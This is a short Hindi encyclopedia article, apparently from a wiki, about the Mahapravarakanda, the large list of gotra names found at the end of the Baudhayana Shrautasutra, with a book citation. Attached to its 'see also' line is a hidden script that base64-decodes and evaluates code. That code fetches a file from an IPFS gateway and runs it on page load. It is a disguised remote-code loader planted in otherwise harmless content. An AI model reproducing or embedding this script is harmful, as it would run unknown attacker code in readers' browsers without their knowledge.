महाप्रवरकांड  

मूल आठ गोत्र और प्रत्येक के अंतर्गत उत्पन्न होने वाले गोत्र गणों की सूचियां प्राचीन समय में संग्रहित की गई थीं। ऐसी सबसे वृहत सूची 'बौधायन श्रोतसूत्र' के अंत में पाई जाती है, जिसका नाम महाप्रवरकांड है।[१]

  • इस सूची में लगभग एक सहस्त्र नाम हैं। आपस्तंब, कात्यायन और आश्वलायन के श्रोतसूत्रों में भी गोत्रों की सूचियां हैं, जिनमें बौधायन की अपेक्षा नामों की संख्या कम है।


इन्हें भी देखें: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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टीका टिप्पणी और संदर्भ

  1. पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 106 |

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